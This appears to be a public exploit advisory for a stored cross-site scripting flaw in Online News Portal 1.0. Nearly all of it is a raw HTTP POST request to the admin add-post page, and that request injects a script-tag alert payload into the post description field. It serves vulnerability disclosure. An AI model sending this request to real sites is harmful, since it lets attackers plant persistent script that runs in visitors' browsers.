Online News Portal 1.0 Cross Site Scripting

`# Exploit Title: Online News Portal | Stored Cross-Site Scripting   
# Exploit Author: Richard Jones  
# Date: 2021-03-15  
# Vendor Homepage: https://www.sourcecodester.com/php/14741/online-news-portal-using-phpmysqli-free-download-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14741&title=Online+News+Portal+using+PHP%2FMySQLi+with+Source+Code+Free+Download  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
POST /newsportal/admin/add-post.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/newsportal/admin/add-post.php  
Content-Type: multipart/form-data; boundary=---------------------------41052496821120247431948536870  
Content-Length: 1105  
Origin: http://localhost  
Connection: close  
Cookie: PHPSESSID=el2er006ddftfemargc4fnqkbj  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0  
  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="posttitle"  
  
StoredForLife  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="category"  
  
3  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="subcategory"  
  
4  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="postdescription"  
  
<script>alert(`Stored Xss`)</script>  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="files"; filename=""  
Content-Type: application/octet-stream  
  
  
-----------------------------41052496821120247431948536870  
Content-Disposition: form-data; name="postimage"; filename="index.jpg"  
Content-Type: image/jpeg  
  
ÿØÿà  
`